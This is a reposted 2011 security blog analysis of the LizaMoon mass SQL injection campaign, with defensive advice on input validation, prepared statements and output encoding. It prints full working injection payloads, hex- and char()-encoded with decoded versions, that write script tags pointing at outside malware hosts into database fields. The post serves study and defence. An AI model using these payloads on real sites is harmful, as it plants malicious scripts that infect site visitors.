&lt;blockquote style="margin-top: 10px; margin-bottom: 10px"&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;&lt;em&gt;WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;em&gt;&lt;strong&gt;Entry Title:&amp;nbsp;&lt;/strong&gt;WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;WHID ID:&amp;nbsp;&lt;/strong&gt;2011-61&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Date Occurred:&amp;nbsp;&lt;/strong&gt;March 29, 2011&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Attack Method:&amp;nbsp;&lt;/strong&gt;SQL Injection&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Application Weakness:&amp;nbsp;&lt;/strong&gt;Improper Input Handling&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Outcome:&amp;nbsp;&lt;/strong&gt;Planting of Malware&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Attacked Entity Field:&amp;nbsp;&lt;/strong&gt;Multiple&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Attacked Entity Geography:&amp;nbsp;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Incident Description:&amp;nbsp;&lt;/strong&gt;Attackers have launched a large-scale SQL injection attack that has compromised several thousand legitimate Websites, including a few catalog pages from Apple's iTunes music store.&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Mass Attack:&amp;nbsp;&lt;/strong&gt;Yes&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Mass Attack Name:&amp;nbsp;&lt;/strong&gt;LizaMoon&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Reference:&amp;nbsp;&lt;/strong&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Points-to-Rogue-AV-Site-852537/" target="blank"&gt;http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Points-to-Rogue-AV-Site-852537/&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Attack Source Geography:&amp;nbsp;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;SQL Injection or Cross-site Scripting?&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;div&gt;While SQL Injection was used as the attack vector, it was merely a means to an end. &amp;nbsp;The desired outcome of these attacks are to execute code within a web visitor's browser, which is the definition of Cross-site Scripting. &amp;nbsp;It is important to keep this end goal in mind when considering mitigation options. &amp;nbsp;So why are people focusing so much on the SQL Injection aspect of these attacks? &amp;nbsp;One word -&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;em&gt;&lt;strong&gt;Scale&lt;/strong&gt;&lt;/em&gt;. &amp;nbsp;&lt;/div&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;Economies of Scale - Generic SQL Injection Payloads&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to website running custom coded apps.&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;em&gt;&lt;strong&gt;No two sites were the same.&lt;/strong&gt;&lt;/em&gt;This means that attackers didn&amp;#8217;t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.&lt;/p&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;Mass SQL Injection Bots in 2008&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;In 2008, attackers figure out an ingenious method to generically inject SQL payloads into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that would generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.&lt;br /&gt;&lt;br /&gt;A&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;em&gt;&lt;strong&gt;Skeleton Key&lt;/strong&gt;&lt;/em&gt;&lt;span &gt;&amp;nbsp;&lt;/span&gt;attack payload if you will all in one request. &amp;nbsp;Brutal...&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Here is an example generic SQL injection payload from 2008 &amp;nbsp;-&lt;/p&gt;&#xD;
&lt;blockquote style="margin-top: 10px; margin-bottom: 10px"&gt;&lt;span style="font-family: 'courier new', courier"&gt;GET /somedir/somfile.asp?arg1=SOMETHING&lt;em&gt;&lt;strong&gt;;DECLARE%20@S%20&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;VARCHAR(4000);SET%20@S=CAST(0x4445434c41524520405420&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;5641524348415228323535292c4043205641524348415228323535&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;29204445434c415245205461626c655f437572736f722043555253&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;4f5220464f522053454c45435420612e6e616d652c622e6e616d652&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;046524f4d207379736f626a6563747320612c737973636f6c756d6&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;e73206220574845524520612e69643d622e696420414e4420612e&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;78747970653d27752720414e442028622e78747970653d393920&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;4f5220622e78747970653d3335204f5220622e78747970653d323&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;331204f5220622e78747970653d31363729204f50454e205461626&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;c655f437572736f72204645544348204e4558542046524f4d20546&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;1626c655f437572736f7220494e544f2040542c4043205748494c4&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;528404046455443485f5354415455533d302920424547494e20455&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;845432827555044415445205b272b40542b275d20534554205b27&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;2b40432b275d3d525452494d28434f4e56455254285641524348415&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;22834303030292c5b272b40432b275d29292b27273c7363726970&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;74207372633d73646f2e313030306d672e636e2f63737273732f77&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;2e6a733e3c2f7363726970743e27272729204645544348204e4558&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;542046524f4d205461626c655f437572736f7220494e544f2040542&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;c404320454e4420434c4f5345205461626c655f437572736f722044&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="font-family: 'courier new', courier"&gt;45414c4c4f43415445205461626c655f437572736f7220%20AS%20&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;&lt;em&gt;&lt;strong&gt;VARCHAR(4000));EXEC(@S);--&lt;/strong&gt;&lt;/em&gt;&lt;span &gt;&amp;nbsp;&lt;/span&gt;HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;Accept-Language: en-US&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;Accept-Encoding: deflate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;Host: www.example.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new', courier"&gt;Connection: Close&lt;/span&gt;&lt;/blockquote&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;If we decode the HEX encoded SQL data, we see that this is actually a script command that loops through various DB table fields and then appends the XSS javascript code to them all -&lt;/p&gt;&#xD;
&lt;blockquote style="margin-top: 10px; margin-bottom: 10px"&gt;&lt;span style="font-family: 'courier new', courier"&gt;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''&lt;em&gt;&lt;strong&gt;&amp;lt;script src=sdo.1000mg.cn/csrss/w.js&amp;gt;&amp;lt;/script&amp;gt;&lt;/strong&gt;&lt;/em&gt;''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;/span&gt;&lt;/blockquote&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;/p&gt;&#xD;
&lt;h1 id="post-body-1143684010711749323" style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;Current LizaMoon-type SQL Injection Payloads&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;div&gt;We have analyzed a number of different examples from the current LizaMoon-type SQL Injection attacks and have noticed some differences from the previous examples of 2008. &amp;nbsp;The main difference is that these new attack payloads are not generic scripts like the ones from 2008. &amp;nbsp;These payloads are specific to each site. &amp;nbsp;Here are two examples:&lt;/div&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;strong&gt;Sample #1 -&lt;/strong&gt;&lt;/p&gt;&lt;pre style="padding-right: 0px; margin-top: 10px; overflow-y: hidden; padding-left: 5px; font-size: 14px; overflow-x: auto; margin-bottom: 10px; padding-bottom: 20px; width: 600px; color: rgb(0,51,102); line-height: 19px; margin-right: 0px; padding-top: 5px; font-family: 'Courier New', Courier, monospaced; background-color: rgb(249,249,249)"&gt;surveyID=91+update+&lt;em&gt;&lt;strong&gt;usd_ResponseDetails&lt;/strong&gt;&lt;/em&gt;+set+categoryName=REPLACE(cast(&lt;em&gt;&lt;strong&gt;categoryName&lt;/strong&gt;&lt;/em&gt;+&#xD;
as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(&#xD;
108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B&#xD;
char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10&#xD;
4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch&#xD;
ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11&#xD;
6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha&#xD;
r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)&#xD;
%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(&#xD;
114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v&#xD;
archar(8)))--&lt;/pre&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;strong&gt;Sample #1 Decoded -&lt;/strong&gt;&lt;/p&gt;&lt;pre style="padding-right: 0px; margin-top: 10px; overflow-y: hidden; padding-left: 5px; font-size: 14px; overflow-x: auto; margin-bottom: 10px; padding-bottom: 20px; width: 600px; color: rgb(0,51,102); line-height: 19px; margin-right: 0px; padding-top: 5px; font-family: 'Courier New', Courier, monospaced; background-color: rgb(249,249,249)"&gt;surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(&lt;strong&gt;categoryName&lt;/strong&gt;+&#xD;
as+varchar(8000)),cast(&lt;em&gt;&lt;strong&gt;&amp;lt;/title&amp;gt;&amp;lt;script src=http://google-stats49.info/ur.php&amp;gt;&lt;/strong&gt;&lt;/em&gt;&#xD;
+as+varchar(8000)),cast(char(32)+as+v&#xD;
archar(8)))--&lt;/pre&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Notice that this SQL payload does not use the same generic for loop scripting and intstead focuses on specific DB fields (usd_ResponseDetails and categoryName).&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;strong&gt;Sample #2 -&lt;/strong&gt;&lt;/p&gt;&lt;pre style="padding-right: 0px; margin-top: 10px; overflow-y: hidden; padding-left: 5px; font-size: 14px; overflow-x: auto; margin-bottom: 10px; padding-bottom: 20px; width: 600px; color: rgb(0,51,102); line-height: 19px; margin-right: 0px; padding-top: 5px; font-family: 'Courier New', Courier, monospaced; background-color: rgb(249,249,249)"&gt;prod=MG0011'+update+&lt;em&gt;&lt;strong&gt;tblMembers&lt;/strong&gt;&lt;/em&gt;+set+Forename=REPLACE(cast(&lt;em&gt;&lt;strong&gt;Forename&lt;/strong&gt;&lt;/em&gt;+as+varchar(8000))&#xD;
,cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2B&#xD;
char(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(11&#xD;
6)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bch&#xD;
ar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(108)%2Bchar(105)%2Bchar(122)&#xD;
%2Bchar(97)%2Bchar(109)%2Bchar(111)%2Bchar(111)%2Bchar(110)%2Bchar(46)%2Bchar(99)%2Bchar&#xD;
(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%&#xD;
2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(1&#xD;
05)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--&#xD;
&lt;/pre&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;strong&gt;Sample #2 Decoded -&lt;/strong&gt;&lt;/p&gt;&lt;pre style="padding-right: 0px; margin-top: 10px; overflow-y: hidden; padding-left: 5px; font-size: 14px; overflow-x: auto; margin-bottom: 10px; padding-bottom: 20px; width: 600px; color: rgb(0,51,102); line-height: 19px; margin-right: 0px; padding-top: 5px; font-family: 'Courier New', Courier, monospaced; background-color: rgb(249,249,249)"&gt;prod=MG0011'+update+&lt;em&gt;&lt;strong&gt;tblMembers&lt;/strong&gt;&lt;/em&gt;+set+Forename=REPLACE(cast(&lt;em&gt;&lt;strong&gt;Forename&lt;/strong&gt;&lt;/em&gt;+as+varchar(8000))&#xD;
,cast(&lt;em&gt;&lt;strong&gt;&amp;lt;/title&amp;gt;&amp;lt;script src=http://lizamoon.com/ur.php&amp;gt;&amp;lt;/script&amp;gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;+as+varchar(8000)),cast(char(32)+as+varchar(8)))--&lt;/pre&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Notice, again, that this SQL payload does not use the same generic for loop scripting and intstead focuses on different specific DB fields (tblMembers and Forename).&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;This means that, while these SQL Injection attacks are highly successful, they are not generic in nature and thus require some sort of SQL probing in order to identify the proper DB structure before sending the final attack payload. &amp;nbsp;&lt;/p&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;Defending against SQL Injection&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;Step #1 - Input Validation&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;The first step in defending against this type of attack is to ensure that you are filtering client input and applying input validation mechanisms to ensure that the data is acceptable. &amp;nbsp;The&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project" target="_self"&gt;OWASP ModSecurity Core Rule Set (CRS) Project&lt;/a&gt;&lt;span &gt;&amp;nbsp;&lt;/span&gt;contains many different rules that identify these types of attacks. &amp;nbsp;You can even follow this&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://www.modsecurity.org/demo/phpids?test=MG0011%27%2Bupdate%2BtblMembers%2Bset%2BForename%3DREPLACE%28cast%28Forename%2Bas%2Bvarchar%288000%29%29%2Ccast%28char%2860%29%252Bchar%2847%29%252Bchar%28116%29%252Bchar%28105%29%252Bchar%28116%29%252Bchar%28108%29%252Bchar%28101%29%252Bchar%2862%29%252Bchar%2860%29%252Bchar%28115%29%252Bchar%2899%29%252Bchar%28114%29%252Bchar%28105%29%252Bchar%28112%29%252Bchar%28116%29%252Bchar%2832%29%252Bchar%28115%29%252Bchar%28114%29%252Bchar%2899%29%252Bchar%2861%29%252Bchar%28104%29%252Bchar%28116%29%252Bchar%28116%29%252Bchar%28112%29%252Bchar%2858%29%252Bchar%2847%29%252Bchar%2847%29%252Bchar%28108%29%252Bchar%28105%29%252Bchar%28122%29%252Bchar%2897%29%252Bchar%28109%29%252Bchar%28111%29%252Bchar%28111%29%252Bchar%28110%29%252Bchar%2846%29%252Bchar%2899%29%252Bchar%28111%29%252Bchar%28109%29%252Bchar%2847%29%252Bchar%28117%29%252Bchar%28114%29%252Bchar%2846%29%252Bchar%28112%29%252Bchar%28104%29%252Bchar%28112%29%252Bchar%2862%29%252Bchar%2860%29%252Bchar%2847%29%252Bchar%28115%29%252Bchar%2899%29%252Bchar%28114%29%252Bchar%28105%29%252Bchar%28112%29%252Bchar%28116%29%252Bchar%2862%29%2Bas%2Bvarchar%288000%29%29%2Ccast%28char%2832%29%2Bas%2Bvarchar%288%29%29%29--" target="_self"&gt;link to send the same payload to the online ModSecurity CRS demo page&lt;/a&gt;&lt;span &gt;&amp;nbsp;&lt;/span&gt;and see the various rules that trigger.&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;Step #2 - Use Prepared Statements with Bound Parameters&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;The underlying issue with SQL Injection attacks is that many SQL statements are dynamically created by simply concatenating client data into the query. &amp;nbsp;You should review the&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet" target="_self"&gt;OWASP SQL Injection Cheat-sheet document&lt;/a&gt;&lt;span &gt;&amp;nbsp;&lt;/span&gt;to get a better understanding of the issues.&lt;/p&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;Defending against XSS&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Let's not forget that the actual goal of these attacks are XSS. &amp;nbsp;These SQL Injection payloads are adding in rogue html javascript tags to response pages. &amp;nbsp;Here are a few defensive items to consider.&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;OWASP XSS Prevention Cheat-sheet&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Make sure that all developers review the&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet" target="_self"&gt;OWASP XSS Prevention Cheat-sheet&lt;/a&gt;.&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;Output Encoding/Escaping&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;An intersting item to note with trying to identify the scale of these mass attacks is this -&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;em&gt;&lt;strong&gt;The number of infected links returned by search engines only lists when sql injection was successful but the XSS payload injection wasn't.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Why is this? &amp;nbsp;Take a look at an example&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://www.google.com/search?aq=f&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=%22%3Cscript+src%3Dhttp%3A%2F%2Flizamoon.com%2Fur.php%3E%3C%2Fscript%3E%22" target="_self"&gt;Google Search question for LizaMoon payloads&lt;/a&gt;. &amp;nbsp;Here is some example raw html of a site returned by the search:&lt;/p&gt;&lt;pre style="padding-right: 0px; margin-top: 10px; overflow-y: hidden; padding-left: 5px; font-size: 14px; overflow-x: auto; margin-bottom: 10px; padding-bottom: 20px; width: 600px; color: rgb(0,51,102); line-height: 19px; margin-right: 0px; padding-top: 5px; font-family: 'Courier New', Courier, monospaced; background-color: rgb(249,249,249)"&gt;&amp;lt;td id="tdDevelopmentName"&amp;gt;Riyad Resort &amp;nbsp; &amp;nbsp; &amp;nbsp;&#xD;
&amp;amp;lt;/title&amp;amp;gt;&amp;amp;lt;script src=http://lizamoon.com/ur.php&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&#xD;
&amp;amp;lt;/title&amp;amp;gt;&amp;amp;lt;script src=http://lizamoon.com/ur.php&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&#xD;
 Gallery&amp;lt;/td&amp;gt;&lt;/pre&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;This code does not execute javascript but instead only renders the text. &amp;nbsp;If the XSS script tags were successfully injected, meaning that the apps were not properly output encoding/escaping payloads, then the search engine spiders would not be indexing the snippets of code. &amp;nbsp;The search engines do not index the raw html source code but only the rendered text.&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;So, even though sites listed in the search results were vulnerable to SQL Injection and compromised, they actually prevented the goal of this attack since the web app is properly output encoding the data sent to the clients.&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;Ensure proper Output Encoding/Escaping Coverage&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;After working with new customers who came to us after being compromised, we are finding some interesing root-cause/remediation scenarios. &amp;nbsp;Even if an organization conducts proper application analysis to identify locations that hold user-supplied data, where they are echoed back to clients and then applying proper contextual output encoding, this may not be enough...&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;You may be saying "Huh?"&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Due to the SQL Injection payload adding the malicious JS data to many back-end DB fields, the data may be injected into a field (such as the page Title data)&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;em&gt;&lt;strong&gt;that was never legitimately supposed to contain user-supplied data&lt;/strong&gt;&lt;/em&gt;. &amp;nbsp;The result is that organization must re-analyze their output escaping strategy to ensure that they have applied encoding to all possible fields.&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;Identifying Rogue JavaScript in Output&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;Regardless of inbound request data, security devices such as Web Application Firewalls (WAFs) can aid in the tracking of legitimate script tags contained within web pages. &amp;nbsp;For instance, the&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="https://trustwave.com/web-application-firewall.php" target="_self"&gt;Trustwave WebDefend WAF&lt;/a&gt;&amp;nbsp;has the capability to identify when new script tags are successfully entered into response pages.&lt;/p&gt;&#xD;
&lt;h2 style="margin-top: 10px; font-weight: bold; font-size: 18px; margin-bottom: 10px"&gt;Identifying Malware Links in Response Pages&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;As outlined in the previous blog post&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://blog.spiderlabs.com/2011/03/modsecurity-advanced-topic-of-the-week-malware-link-detection.html" target="_self"&gt;ModSecurity Advanced Topic of the Week: Malware Link Detection&lt;/a&gt;, ModSecurity has a new API which allows it to utilize Google's Safe Browsing DB. &amp;nbsp;This can help to prevent malicious links from being sent from your site onto clients.&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2072212.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/06/03/2072212.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
